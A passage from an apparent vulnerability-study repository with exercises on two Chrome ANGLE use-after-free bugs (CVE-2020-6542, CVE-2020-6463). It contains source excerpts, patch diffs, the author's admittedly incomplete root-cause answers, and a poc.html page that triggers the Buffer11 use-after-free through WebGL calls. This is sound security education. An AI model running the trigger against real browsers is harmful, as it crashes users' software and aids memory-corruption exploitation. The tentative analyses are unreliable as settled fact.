void Buffer11::SystemMemoryStorage::unmap()
{
    // No-op
}
}  // namespace rx

================================================
FILE: LEVEL_1/exercise_1/README.md
================================================
# Exercise 1

## CVE-2020-6542
I choose **CVE-2020-6542**, and I sugget you don't search any report about it to prevents get too much info like patch.


### Details

> Google Chrome WebGL Buffer11::getBufferStorage Code Execution Vulnerability
>
> Google Chrome is a cross-platform web browser developed by Google. It supports many features, including WebGL (Web Graphics Library), a JavaScript API for rendering interactive 2-D and 3-D graphics.
>
> In some specific cases after binding a zero size buffer we could end up trying to use a buffer storage that was no longer valid. Fix this by ensuring we don't flush dirty bits when we have an early exit due to a zero size buffer. 

---------
<details>
  <summary>For more info click me!</summary>

   Chromium crashes inside the `Buffer11::getBufferStorage` function. This is because newStorage element points to previously freed memory, leading to a use-after-free vulnerability.
</details>

**You'd better read some doc about ANGLE to understand the source code**

--------

### Version

Google Chrome  84.0.4147.89

Google Chrome  85.0.4169.0 (Developer Build) (64-bit)

we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/034a8b3f3c5c8e7e1629b8ac88cadb72ea68cf23/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp#246)

### Related code

May be you need fetch the source code
```
git clone https://chromium.googlesource.com/angle/angle
cd angle
git reset --hard 50a2725742948702720232ba46be3c1f03822ada
```
```c++
angle::Result VertexArray11::updateDirtyAttribs(const gl::Context *context,
                                                const gl::AttributesMask &activeDirtyAttribs)
{
    const auto &glState  = context->getState();
    const auto &attribs  = mState.getVertexAttributes();
    const auto &bindings = mState.getVertexBindings();

    for (size_t dirtyAttribIndex : activeDirtyAttribs)
    {
        mAttribsToTranslate.reset(dirtyAttribIndex);

        auto *translatedAttrib   = &mTranslatedAttribs[dirtyAttribIndex];
        const auto &currentValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex);

        // Record basic attrib info
        translatedAttrib->attribute        = &attribs[dirtyAttribIndex];
        translatedAttrib->binding          = &bindings[translatedAttrib->attribute->bindingIndex];
        translatedAttrib->currentValueType = currentValue.Type;
        translatedAttrib->divisor =
            translatedAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor;

        switch (mAttributeStorageTypes[dirtyAttribIndex])
        {
            case VertexStorageType::DIRECT:
                VertexDataManager::StoreDirectAttrib(context, translatedAttrib);
                break;
            case VertexStorageType::STATIC:
            {
              	// can early exit
                ANGLE_TRY(VertexDataManager::StoreStaticAttrib(context, translatedAttrib));
                break;
            }
            case VertexStorageType::CURRENT_VALUE:
                // Current value attribs are managed by the StateManager11.
                break;
            default:
                UNREACHABLE();
                break;
        }
    }

    return angle::Result::Continue;
}
=========================================================
template <size_t N, typename BitsT, typename ParamT>
BitSetT<N, BitsT, ParamT> &BitSetT<N, BitsT, ParamT>::reset(ParamT pos)
{
    ASSERT(mBits == (mBits & Mask(N)));
    mBits &= ~Bit<BitsT>(pos);
    return *this;
}
=========================================================
#define ANGLE_TRY(EXPR) ANGLE_TRY_TEMPLATE(EXPR, ANGLE_RETURN)

#define ANGLE_TRY_TEMPLATE(EXPR, FUNC)                \
    do                                                \
    {                                                 \
        auto ANGLE_LOCAL_VAR = EXPR;                  \
        if (ANGLE_UNLIKELY(IsError(ANGLE_LOCAL_VAR))) \
        {                                             \
            FUNC(ANGLE_LOCAL_VAR);                    \
        }                                             \
    } while (0)
=========================================================
inline bool IsError(angle::Result result)
{
    return result == angle::Result::Stop;
}
```
```c++
angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context,
                                                   TranslatedAttribute *translated)
{
    ASSERT(translated->attribute && translated->binding);
    const auto &attrib  = *translated->attribute;
    const auto &binding = *translated->binding;

    gl::Buffer *buffer = binding.getBuffer().get();
    ASSERT(buffer && attrib.enabled && !DirectStoragePossible(context, attrib, binding));
    BufferD3D *bufferD3D = GetImplAs<BufferD3D>(buffer);

    // Compute source data pointer
    const uint8_t *sourceData = nullptr;
    const int offset          = static_cast<int>(ComputeVertexAttributeOffset(attrib, binding));

    ANGLE_TRY(bufferD3D->getData(context, &sourceData));

    if (sourceData)
    {
        sourceData += offset;
    }
[ ... ]
```

```c++
angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData)
{
    if (mSize == 0)
    {
        // TODO(http://anglebug.com/2840): This ensures that we don't crash or assert in robust
        // buffer access behavior mode if there are buffers without any data. However, technically
        // it should still be possible to draw, with fetches from this buffer returning zero.
        return angle::Result::Stop;
    }

    SystemMemoryStorage *systemMemoryStorage = nullptr;
  	
    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage));

    ASSERT(systemMemoryStorage->getSize() >= mSize);

    *outData = systemMemoryStorage->getSystemCopy()->data();
    return angle::Result::Continue;
}
```

```c++
template <typename StorageOutT>
angle::Result Buffer11::getBufferStorage(const gl::Context *context,
                                         BufferUsage usage,
                                         StorageOutT **storageOut)
{
    ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT);
    BufferStorage *&newStorage = mBufferStorages[usage];

    if (!newStorage)
    {
        newStorage = allocateStorage(usage);
    }

    markBufferUsage(usage);

    // resize buffer
    if (newStorage->getSize() < mSize)
    {
        ANGLE_TRY(newStorage->resize(context, mSize, true));
    }

    ASSERT(newStorage);

    ANGLE_TRY(updateBufferStorage(context, newStorage, 0, mSize));
    ANGLE_TRY(garbageCollection(context, usage));

    *storageOut = GetAs<StorageOutT>(newStorage);
    return angle::Result::Continue;
}
```


### Do it

Do this exercise by yourself, If you find my answer have something wrong, please correct it.

---------
<details>
  <summary>My answer</summary>

  The answer I write is incomplete, the following answer doesn't mention the reletion between patch and uaf -_-. Recently I have no time to debug PoC to get the truely answer. So I hope you can correct this.

  patch:
  ```diff
diff --git a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp
index 6bb0bf8..a5f8b6a 100644
--- a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp
+++ b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp
@@ -253,8 +253,6 @@
 
     for (size_t dirtyAttribIndex : activeDirtyAttribs)
     {
-        mAttribsToTranslate.reset(dirtyAttribIndex);
-
         auto *translatedAttrib   = &mTranslatedAttribs[dirtyAttribIndex];
         const auto &currentValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex);
 
@@ -282,6 +280,9 @@
                 UNREACHABLE();
                 break;
         }
+
+        // Make sure we reset the dirty bit after the switch because STATIC can early exit.
+        mAttribsToTranslate.reset(dirtyAttribIndex);
     }
 
     return angle::Result::Continue;
  ```
  doc about [dirty bits](https://chromium.googlesource.com/angle/angle/+/50a2725742948702720232ba46be3c1f03822ada/doc/DirtyBits.md)
  
  ```c++
    angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData)
    {
        if (mSize == 0)
        {
            return angle::Result::Stop;  [1]
        }
        SystemMemoryStorage *systemMemoryStorage = nullptr;
        // call getBufferStorage
        ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage));
    }
  ```
  incomplete answer:
  [1] `Buffer11::getData` can return `angle::Result::Stop` if `mSize == 0`
  ```c++
    angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context,
                                                    TranslatedAttribute *translated)
    {
        BufferD3D *bufferD3D = GetImplAs<BufferD3D>(buffer);
        // Compute source data pointer
        const uint8_t *sourceData = nullptr;
        const int offset          = static_cast<int>(ComputeVertexAttributeOffset(attrib, binding));

        ANGLE_TRY(bufferD3D->getData(context, &sourceData));   [2]

        if (sourceData)
        {
            sourceData += offset;
        }
    [ ... ]
    ==========================================================
    Buffer11::~Buffer11()
    {
        for (BufferStorage *&storage : mBufferStorages)
        {
            SafeDelete(storage);
        }
    [ ... ]
  ```
  [2] call `Buffer11::getData` in `ANGLE_TRY`, because `mSize == 0` it can return `Stop` then exit early. Finally call `Buffer11::~Buffer11()`, it can free `mBufferStorages`.
  
  One possible situation (maybe wrong) is we can get the raw buffer early because the "early exit", and the `Buffer11::~Buffer11()` have not been trigger. I can call `getBufferStorage` in other path during `~Buffer11()` before `mBufferStorages[usage]` was set to null.
  ```c++
    template <typename StorageOutT>
    angle::Result Buffer11::getBufferStorage(const gl::Context *context,
                                            BufferUsage usage,
                                            StorageOutT **storageOut)
    {
        ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT);
        BufferStorage *&newStorage = mBufferStorages[usage];   [3] already freed

        if (!newStorage)
        {
            newStorage = allocateStorage(usage);
        }

        markBufferUsage(usage);

        // resize buffer
        if (newStorage->getSize() < mSize)     [4] trigger uaf
        {
            ANGLE_TRY(newStorage->resize(context, mSize, true));
        }
    }
  ```
  In other path call `getBufferStorage`  will trigger uaf, like
  ```c++
    syncVertexBuffersAndInputLayout ->
        applyVertexBuffers ->
            getBuffer ->
                getBufferStorage
  ```
  I get this call tree by this [report](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127)

  If you are instread of how to construct the Poc, you can get help form [this](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=457249).

</details>

--------



================================================
FILE: LEVEL_1/exercise_1/poc.html
================================================
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
        <title>POC</title>
    </head>
<script>	
var ShaderHeaderAddition;
var mShaderHeaderLines = [0,0];	

var added_lines 			= 	0;
var newMode 				=	1;	
ShaderHeaderAddition 		= 	"";
ShaderHeaderAdditionLines 	= 	0;

var mDerivatives			=	0;
var mShaderTextureLOD 		= 	0;
	
if (newMode)
{
	mDerivatives			=	1;
	mShaderTextureLOD 		= 	1;	
}
	
if( mDerivatives ) { ShaderHeaderAddition += "#ifdef GL_OES_standard_derivatives\n#extension GL_OES_standard_derivatives : enable\n#endif\n"; ShaderHeaderAdditionLines+=3; }
if( mShaderTextureLOD  ) { ShaderHeaderAddition += "#extension GL_EXT_shader_texture_lod : enable\n"; ShaderHeaderAdditionLines++; }
ShaderHeaderAddition += "#ifdef GL_ES\n"+
										"precision highp float;\n"+
										"precision highp int;\n"+
										"#endif\n";
					ShaderHeaderAdditionLines += 4;		
	
var sheader_end = "\n\nvoid main() { mainImage(gl_FragColor.xyzw, gl_FragCoord.xy); } ";
var new_vertex_shader = "";
				
if (newMode)
{
	ShaderHeaderAddition = "#version 300 es\n"+
											"#ifdef GL_ES\n"+
											"precision highp float;\n"+
											"precision highp int;\n"+
											"precision mediump sampler3D;\n"+
											"#endif\n"; 
	ShaderHeaderAdditionLines = 6;
												
	sheader_end 	=	"\nout vec4 outColor;\n" + 
						"\nvoid main( void )\n" +
						"{" +
						"vec4 color = vec4(0.0,0.0,0.0,1.0);" +
						"mainImage( color, gl_FragCoord.xy );" + 
						"outColor = color; }";

	new_vertex_shader =    "#version 300 es\n"+
							"layout(location = 0) in vec2 position; void main() { gl_Position = vec4(position.xy,0.0,1.0); }";
}
	
var sheader = "";
sheader += "";		

function CalcErrLine(ErrorLine)
{
	return 0;
}	
		
var ShaderStuff = function () {
    if (window.WebGLRenderingContext) {
        this.init();
    } else {
        console.error('You need a WebGL browser: Try get.webgl.org');
    }
};

ShaderStuff.prototype = {
    constructor: ShaderStuff.prototype,
    mouse: new Float32Array(2),
    textures: [],
    width: 320,
    height: 240,
    _ready: false,
    _pause: false,
	
	_VS:0,
	_FS: 0,
	_PROGRAM: 0,
	_CANVAS: 0,

    _vertexShader: [
        'attribute vec2 position;',
        'void main() {',
        '   gl_Position = vec4( position, 0.0, 1.0 );',
        '}'],
	
    _fragmentShader: [
        'void mainImage( out vec4 fragColor, in vec2 fragCoord ) { fragColor.rgb = vec3( 0.5 + 0.5 * cos( iGlobalTime ) ); }',

        'void main() {',
        '   vec4 color = vec4( 0.0, 0.0, 0.0, 1.0 );',
        '   mainImage( color, gl_FragCoord.xy );',
        '   gl_FragColor = color;',
        '}'],

    _createProgram: function (vertexShader, fragmentShader) {
        var vs = this._createShader(vertexShader, this.gl.VERTEX_SHADER);
        var fs = this._createShader(fragmentShader, this.gl.FRAGMENT_SHADER);
		
        var program = this.gl.createProgram();
        this.gl.attachShader(program, vs);
        this.gl.attachShader(program, fs);
        this.gl.linkProgram(program);

		this._VS = vs;
		this._FS = fs;
		this._PROGRAM = program;

        return program;
    },

    _createShader: function (str, type) {
        var shader = this.gl.createShader(type);
        this.gl.shaderSource(shader, str);
        this.gl.compileShader(shader);

        var compiled = this.gl.getShaderParameter(shader, this.gl.COMPILE_STATUS);

        if (!compiled) {
			console.error('Error compiling shader');
            this.gl.deleteShader(shader);
            return null;
        }
        return shader;
    },

    _createTexture: function (index) {
        this.gl.activeTexture(this.gl.TEXTURE0 + (index));
        var texture = this.gl.createTexture();
        this.gl.bindTexture(this.gl.TEXTURE_2D, texture);
        this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, 1, 1, 0, this.gl.RGBA, this.gl.UNSIGNED_BYTE, new Uint8Array([0, 255, 255, 255]));
        return texture;
    },

    _updateTexture: function (buf, index) {
        if (this.textures[index]) {
            this.gl.deleteTexture(this.textures[index]);
            delete this.textures[index];

            this._updateTexture(buf, index);
        } else {
            this.textures[index] = this._createTexture(index);
            this.gl.activeTexture(this.gl.TEXTURE0 + (index));
            this.gl.bindTexture(this.gl.TEXTURE_2D, this.textures[index]);
            this.gl.pixelStorei(this.gl.UNPACK_FLIP_Y_WEBGL, true);
            this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, this.gl.RGBA, this.gl.UNSIGNED_BYTE, buf);
            if (this._isPowerOf2(buf.width) && this._isPowerOf2(buf.height)) {
                this.gl.generateMipmap(this.gl.TEXTURE_2D);
            } else {
                this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_S, this.gl.REPEAT);
                this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_T, this.gl.REPEAT);
                this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MAG_FILTER, this.gl.LINEAR);
                this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MIN_FILTER, this.gl.LINEAR_MIPMAP_LINEAR);
            }
        }
    },

    _getAttribute: function (name) {
        if (!this.program.atttributes) {
            this.program.atttributes = {};
        }

        if (!this.program.atttributes[name]) {
            this.program.atttributes[name] = this.gl.getAttribLocation(this.program, name);
        }
        return this.program.atttributes[name];
    },

    _isPowerOf2: function (value) {
        return (value & (value - 1)) === 0;
    },

    init: function () {
        var canvas = document.createElement('canvas');
        canvas.width = this.width;
        canvas.height = this.height;
        document.body.appendChild(canvas);
		
		this._CANVAS = canvas;

		if (newMode)
			this.gl = canvas.getContext('webgl2');
		else
			this.gl = canvas.getContext('webgl');
		
		if (!this.gl)
		{
			console.log("### USING OLD WEBGL MODE###");
			newMode = 0;
			this.gl = canvas.getContext('webgl');
		}			

        if (!this.gl) {
            console.error('Couldn\'t start WebGL ');
        }
	
		try
		{
			this.gl.getExtension('OES_texture_float');
			this.gl.getExtension('OES_standard_derivatives');
			this.gl.getExtension('OES_float_linear');
			this.gl.getExtension('OES_half_float_linear');

		} catch(e) { }
        var quad = new Float32Array([-1.0, -1.0, 1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0]);
        var buffer = this.gl.createBuffer();
        this.gl.bindBuffer(this.gl.ARRAY_BUFFER, buffer);
        this.gl.bufferData(this.gl.ARRAY_BUFFER, quad, this.gl.STATIC_DRAW);
    },

    loadFragmentFromBuff: function (buff) {
        this._ready = false;
        this.writeFragment2(buff);
    },	

    loadImage: function (url, index) {
        var self = this;
		this.index = index;
		
        var image = new Image();
        image.src = url;
        image.index = index || 0;
        image.onload = function () {
            self._updateTexture(image, this.index);
        };
    },

    writeFragment: function (str) {
        this._ready = false;
		
        this._fragmentShader[8] = str;
        var program = this._createProgram(this._vertexShader.join('\n'), this._fragmentShader.join('\n'));
        this.useProgram(program);
    },

    writeFragment2: function (str) {
        this._ready = false;
        var channels = "";
        var add_lines 	= ShaderHeaderAddition + sheader + channels;
        added_lines 	= add_lines.split(/\r\n|\r|\n/).length;
        var fragment_shader =  ShaderHeaderAddition + sheader + channels + str + sheader_end;
        if (newMode)
            var program = this._createProgram(new_vertex_shader, fragment_shader);
        else
            var program = this._createProgram(this._vertexShader.join('\n'), fragment_shader);
        this.useProgram(program);
    },	
	
    useProgram: function (program) {
        this.program = program;
        this.gl.useProgram(this.program);

        this.gl.enableVertexAttribArray(this._getAttribute('position'));
        this.gl.vertexAttribPointer(this._getAttribute('position'), 2, this.gl.FLOAT, false, 0, 0);

        this.startTime = Date.now();
        this._ready = true;
    },
};
</script>

<script>
let shader_data =  `void mainImage ( out vec4 f, in vec2 df ) {  f += 0.1; }`;
var ImageData2 = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAAAAADhZOFXAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAZ0lEQVR42mJgaFBbINChuwIggBj2Oz1IOOH1MgMggBiMN4j3W+2QmwEQQAwf8y8E/iy/EQEQQEzKMvFRgryB3gABxHDG9232EbenKQABxGC/R3G2+WbpyQABxPCv+k7M15IroQABBgAZ8B60eaEoLgAAAABJRU5ErkJggg==";
var renderer;
var run_shader = true;
var canvas_elem = false;
var img = false;
function init() {
    // init functions
    renderer = new ShaderStuff();
    canvas_elem = renderer._CANVAS;
    renderer.loadImage(ImageData2, 0);
    renderer.loadFragmentFromBuff(shader_data);
        
    //debugger;
    update();
}
// everything above are init functions and helpers
//
// bug triggering function 
//
function update() {
    // trigger function		
    var gl1 = renderer.gl;				
    var buffer2 = gl1.createBuffer(); 
    gl1.bindBuffer(gl1.ARRAY_BUFFER, buffer2); 

    gl1.drawArrays(gl1.LINES, 0, 4);
    
    var pixels = new Uint8Array(gl1.drawingBufferWidth * gl1.drawingBufferHeight * 4);  
    gl1.texImage2D(gl1.TEXTURE_2D , 0 , 0x1 , 0x1 , 1 , 1 , gl1.DRAW_BUFFER1 , gl1.BYTE , pixels  ); 

    // seems to trigger only when first param is (-1, 1) 
    gl1.vertexAttribPointer(-0.9, 4, gl1.UNSIGNED_BYTE, false, 1, 255); 
    gl1.drawArrays(gl1.TRIANGLES, 0, 6);
    
    // recurisivty needed 
    update();
}           
</script>
<body onload="init();"></body>
</html>


================================================
FILE: LEVEL_1/exercise_2/README.md
================================================
# Exercise 2

## CVE-2020-6463
I sugget you don't search any report about it to prevents get too much info like patch.

This time we do it by code audit, and download source code.
### Details


> When a new texture is bound, the texture binding state is updated before
> updating the active texture cache. With this ordering, it is possible to delete
> the currently bound texture when the binding changes and then use-after-free it
> when updating the active texture cache.
>
> The bug reason in angle/src/libANGLE/State.cpp

---------

<details>
  <summary>For more info click me! But you'd better not do this</summary>

   https://bugs.chromium.org/p/chromium/issues/detail?id=1065186
</details>

--------

### Set environment
We download the ANGLE
```sh
git clone https://chromium.googlesource.com/angle/angle
```
Then checkout the branch, we set the commit hash
```sh
cd angle
git  reset --hard b83b0f5e9f63261d3d95a75b74ad758509d7a349 # we get it by issue page
```

### Related code
we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/e514b0cb7e6b8956ea0c93ceca01b63d5deb621d/src/libANGLE/State.cpp#1171) or offline.


```c++
void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture)
{
    mSamplerTextures[type][mActiveSampler].set(context, texture);
    if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] &&
        IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler]))
    {
        updateActiveTexture(context, mActiveSampler, texture);
    }
    mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);
}
=================================================================
ANGLE_INLINE void State::updateActiveTexture(const Context *context,
                                             size_t textureIndex,
                                             Texture *texture)
{
    const Sampler *sampler = mSamplers[textureIndex].get();
    mCompleteTextureBindings[textureIndex].bind(texture);

    if (!texture)
    {
        mActiveTexturesCache.reset(textureIndex);
        mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);
        return;
    }

    updateActiveTextureState(context, textureIndex, sampler, texture);
}
```

```cpp
using TextureBindingMap    = angle::PackedEnumMap<TextureType, TextureBindingVector>;
=======================================================
TextureBindingMap mSamplerTextures;
```

```c++
    void set(const ContextType *context, ObjectType *newObject)
    {
        // addRef first in case newObject == mObject and this is the last reference to it.
        if (newObject != nullptr)
        {
            reinterpret_cast<RefCountObject<ContextType, ErrorType> *>(newObject)->addRef();
        }

        // Store the old pointer in a temporary so we can set the pointer before calling release.
        // Otherwise the object could still be referenced when its destructor is called.
        ObjectType *oldObject = mObject;
        mObject               = newObject;
        if (oldObject != nullptr)
        {
            reinterpret_cast<RefCountObject<ContextType, ErrorType> *>(oldObject)->release(context); 
        }
    }
```


### Do it
Do this exercise by yourself, If you find my answer have something wrong, please correct it.


---------

<details>
  <summary>My answer</summary>

  By reading detail, we can know `the texture binding state is updated before updating the active texture cache`.
  ```c++
    void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture)
    {
        mSamplerTextures[type][mActiveSampler].set(context, texture);    [1]
        if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] &&
            IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler]))
        {
            updateActiveTexture(context, mActiveSampler, texture);   [2]
        }
        mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS);
    }
  ```
  [1] means update the binding state, and [2] means update the active texture cache. What can it delete currently bound texture?
  ```c++
    void set(const ContextType *context, ObjectType *newObject)
    {
        // addRef first in case newObject == mObject and this is the last reference to it.
        if (newObject != nullptr)
        {
            reinterpret_cast<RefCountObject<ContextType, ErrorType> *>(newObject)->addRef();
        }

        // Store the old pointer in a temporary so we can set the pointer before calling release.
        // Otherwise the object could still be referenced when its destructor is called.
        ObjectType *oldObject = mObject;
        mObject               = newObject;
        if (oldObject != nullptr)
        {
            reinterpret_cast<RefCountObject<ContextType, ErrorType> *>(oldObject)->release(context);  [3]
        }
    }
  ```
  There is release in set func, and the Triggering condition is `oldObject != nullptr` we can easily get this by set same `texture` twice. If we call `State::setSamplerTexture` twice with same `texture`, it can trigger uaf at `updateActiveTexture` in the second call.

</details>

--------



================================================
FILE: LEVEL_1/exercise_2/VertexArray11.cpp
================================================
//
// Copyright 2016 The ANGLE Project Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// VertexArray11:
//   Implementation of rx::VertexArray11.
//

#include "libANGLE/renderer/d3d/d3d11/VertexArray11.h"

#include "common/bitset_utils.h"
#include "libANGLE/Context.h"
#include "libANGLE/renderer/d3d/IndexBuffer.h"
#include "libANGLE/renderer/d3d/d3d11/Buffer11.h"
#include "libANGLE/renderer/d3d/d3d11/Context11.h"

using namespace angle;

namespace rx
{
VertexArray11::VertexArray11(const gl::VertexArrayState &data)
    : VertexArrayImpl(data),
      mAttributeStorageTypes(data.getMaxAttribs(), VertexStorageType::CURRENT_VALUE),
      mTranslatedAttribs(data.getMaxAttribs()),
      mAppliedNumViewsToDivisor(1),
      mCurrentElementArrayStorage(IndexStorageType::Invalid),
      mCachedDestinationIndexType(gl::DrawElementsType::InvalidEnum)
{}

VertexArray11::~VertexArray11() {}

void VertexArray11::destroy(const gl::Context *context) {}

// As VertexAttribPointer can modify both attribute and binding, we should also set other attributes
// that are also using this binding dirty.
#define ANGLE_VERTEX_DIRTY_ATTRIB_FUNC(INDEX)                                                \
    case gl::VertexArray::DIRTY_BIT_ATTRIB_0 + INDEX:                                        \
        if ((*attribBits)[INDEX][gl::VertexArray::DirtyAttribBitType::DIRTY_ATTRIB_POINTER]) \
        {                                                                                    \
            attributesToUpdate |= mState.getBindingToAttributesMask(INDEX);                  \
        }                                                                                    \
        else                                                                                 \
        {                                                                                    \
            attributesToUpdate.set(INDEX);                                                   \
        }                                                                                    \
        invalidateVertexBuffer = true;                                                       \
        (*attribBits)[INDEX].reset();                                                        \
        break;

#define ANGLE_VERTEX_DIRTY_BINDING_FUNC(INDEX)                          \
    case gl::VertexArray::DIRTY_BIT_BINDING_0 + INDEX:                  \
        attributesToUpdate |= mState.getBindingToAttributesMask(INDEX); \
        invalidateVertexBuffer = true;                                  \
        (*bindingBits)[INDEX].reset();                                  \
        break;

#define ANGLE_VERTEX_DIRTY_BUFFER_DATA_FUNC(INDEX)                      \
    case gl::VertexArray::DIRTY_BIT_BUFFER_DATA_0 + INDEX:              \
        if (mAttributeStorageTypes[INDEX] == VertexStorageType::STATIC) \
        {                                                               \
            invalidateVertexBuffer = true;                              \
            mAttribsToTranslate.set(INDEX);                             \
        }                                                               \
        break;

angle::Result VertexArray11::syncState(const gl::Context *context,
                                       const gl::VertexArray::DirtyBits &dirtyBits,
                                       gl::VertexArray::DirtyAttribBitsArray *attribBits,
                                       gl::VertexArray::DirtyBindingBitsArray *bindingBits)
{
    ASSERT(dirtyBits.any());

    Renderer11 *renderer         = GetImplAs<Context11>(context)->getRenderer();
    StateManager11 *stateManager = renderer->getStateManager();

    // Generate a state serial. This serial is used in the program class to validate the cached
    // input layout, and skip recomputation in the fast path.
    mCurrentStateSerial = renderer->generateSerial();

    bool invalidateVertexBuffer = false;

    gl::AttributesMask attributesToUpdate;

    // Make sure we trigger re-translation for static index or vertex data.
    for (size_t dirtyBit : dirtyBits)
    {
        switch (dirtyBit)
        {
            case gl::VertexArray::DIRTY_BIT_ELEMENT_ARRAY_BUFFER:
            case gl::VertexArray::DIRTY_BIT_ELEMENT_ARRAY_BUFFER_DATA:
            {
                mLastDrawElementsType.reset();
                mLastDrawElementsIndices.reset();
                mLastPrimitiveRestartEnabled.reset();
                mCachedIndexInfo.reset();
                break;
            }

                ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_ATTRIB_FUNC)
                ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_BINDING_FUNC)
                ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_BUFFER_DATA_FUNC)

            default:
                UNREACHABLE();
                break;
        }
    }

    for (size_t attribIndex : attributesToUpdate)
    {
        updateVertexAttribStorage(context, stateManager, attribIndex);
    }

    if (invalidateVertexBuffer)
    {
        // TODO(jmadill): Individual attribute invalidation.
        stateManager->invalidateVertexBuffer();
    }

    return angle::Result::Continue;
}

angle::Result VertexArray11::syncStateForDraw(const gl::Context *context,
                                              GLint firstVertex,
                                              GLsizei vertexOrIndexCount,
                                              gl::DrawElementsType indexTypeOrInvalid,
                                              const void *indices,
                                              GLsizei instances,
                                              GLint baseVertex,
                                              GLuint baseInstance)
{
    Renderer11 *renderer         = GetImplAs<Context11>(context)->getRenderer();
    StateManager11 *stateManager = renderer->getStateManager();

    const gl::State &glState   = context->getState();
    const gl::Program *program = glState.getProgram();
    ASSERT(program);
    const gl::ProgramExecutable &executable = program->getExecutable();

    mAppliedNumViewsToDivisor = (program->usesMultiview() ? program->getNumViews() : 1);

    if (mAttribsToTranslate.any())
    {
        const gl::AttributesMask &activeLocations = executable.getActiveAttribLocationsMask();
        gl::AttributesMask activeDirtyAttribs     = (mAttribsToTranslate & activeLocations);
        if (activeDirtyAttribs.any())
        {
            ANGLE_TRY(updateDirtyAttribs(context, activeDirtyAttribs));
            stateManager->invalidateInputLayout();
        }
    }

    if (mDynamicAttribsMask.any())
    {
        const gl::AttributesMask &activeLocations = executable.getActiveAttribLocationsMask();
        gl::AttributesMask activeDynamicAttribs   = (mDynamicAttribsMask & activeLocations);

        if (activeDynamicAttribs.any())
        {
            ANGLE_TRY(updateDynamicAttribs(context, stateManager->getVertexDataManager(),
                                           firstVertex, vertexOrIndexCount, indexTypeOrInvalid,
                                           indices, instances, baseVertex, baseInstance,
                                           activeDynamicAttribs));
            stateManager->invalidateInputLayout();
        }
    }

    if (indexTypeOrInvalid != gl::DrawElementsType::InvalidEnum)
    {
        bool restartEnabled = context->getState().isPrimitiveRestartEnabled();
        if (!mLastDrawElementsType.valid() || mLastDrawElementsType.value() != indexTypeOrInvalid ||
            mLastDrawElementsIndices.value() != indices ||
            mLastPrimitiveRestartEnabled.value() != restartEnabled)
        {
            mLastDrawElementsType        = indexTypeOrInvalid;
            mLastDrawElementsIndices     = indices;
            mLastPrimitiveRestartEnabled = restartEnabled;

            ANGLE_TRY(updateElementArrayStorage(context, vertexOrIndexCount, indexTypeOrInvalid,
                                                indices, restartEnabled));
            stateManager->invalidateIndexBuffer();
        }
        else if (mCurrentElementArrayStorage == IndexStorageType::Dynamic)
        {
            stateManager->invalidateIndexBuffer();
        }
    }

    return angle::Result::Continue;
}

angle::Result VertexArray11::updateElementArrayStorage(const gl::Context *context,
                                                       GLsizei indexCount,
                                                       gl::DrawElementsType indexType,
                                                       const void *indices,
                                                       bool restartEnabled)
{
    bool usePrimitiveRestartWorkaround = UsePrimitiveRestartWorkaround(restartEnabled, indexType);

    ANGLE_TRY(GetIndexTranslationDestType(context, indexCount, indexType, indices,
                                          usePrimitiveRestartWorkaround,
                                          &mCachedDestinationIndexType));

    unsigned int offset = static_cast<unsigned int>(reinterpret_cast<uintptr_t>(indices));

    mCurrentElementArrayStorage =
        ClassifyIndexStorage(context->getState(), mState.getElementArrayBuffer(), indexType,
                             mCachedDestinationIndexType, offset);

    return angle::Result::Continue;
}

void VertexArray11::updateVertexAttribStorage(const gl::Context *context,
                                              StateManager11 *stateManager,
                                              size_t attribIndex)
{
    const gl::VertexAttribute &attrib = mState.getVertexAttribute(attribIndex);
